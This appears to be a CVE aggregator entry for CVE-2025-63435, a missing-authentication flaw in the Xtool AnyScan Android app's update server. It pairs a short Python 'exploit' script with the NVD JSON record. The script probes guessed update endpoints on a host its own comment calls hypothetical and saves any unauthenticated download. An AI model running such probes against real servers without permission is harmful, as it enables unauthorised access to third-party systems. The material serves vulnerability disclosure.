CVE-2025-63435

# CVE-2025-63435 PoC - Xtool AnyScan Update Package Download # This PoC demonstrates the missing authentication vulnerability import requests import sys import json def exploit_cve_2025_63435(): """ Exploit for CVE-2025-63435: Missing Authentication for Critical Function in Xtooltech Xtool AnyScan Android Application 4.40.40 """ # Target information target = "https://update.xtooltech.com" # Hypothetical update server cve_id = "CVE-2025-63435" print(f"[*] Exploiting {cve_id}") print(f"[*] Target: {target}") # Update endpoint without authentication update_endpoints = [ "/api/v1/updates/latest", "/api/updates/check", "/download/update.apk", "/api/v1/firmware/latest" ] for endpoint in update_endpoints: url = target + endpoint print(f"\n[*] Testing endpoint: {url}") try: # No authentication headers required - this is the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Endpoint accessible without authentication!") print(f"[*] Content-Type: {response.headers.get('Content-Type')}") print(f"[*] Content-Length: {len(response.content)} bytes") # Save the update package output_file = f"update_package_{endpoint.replace('/', '_')}.apk" with open(output_file, 'wb') as f: f.write(response.content) print(f"[*] Update package saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No accessible update endpoints found") return False if __name__ == "__main__": exploit_cve_2025_63435()

{"cve": {"id": "CVE-2025-63435", "sourceIdentifier": "[email protected]", "published": "2025-11-24T17:16:08.283", "lastModified": "2025-11-28T17:06:39.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xtooltech Xtool AnyScan Android Application 4.40.40 is Missing Authentication for Critical Function. The server-side endpoint responsible for serving update packages for the application does not require any authentication. This allows an unauthenticated remote attacker to freely download official update packages.."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:*", "versionEndIncluding": "4.40.40", "matchCriteriaId": "9206BD15-A1A8-4913-9D0A-9ADE50B81994"}]}]}], "references": [{"url": "https://github.com/ab3lson/cve-references/tree/master/CVE-2025-63435", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}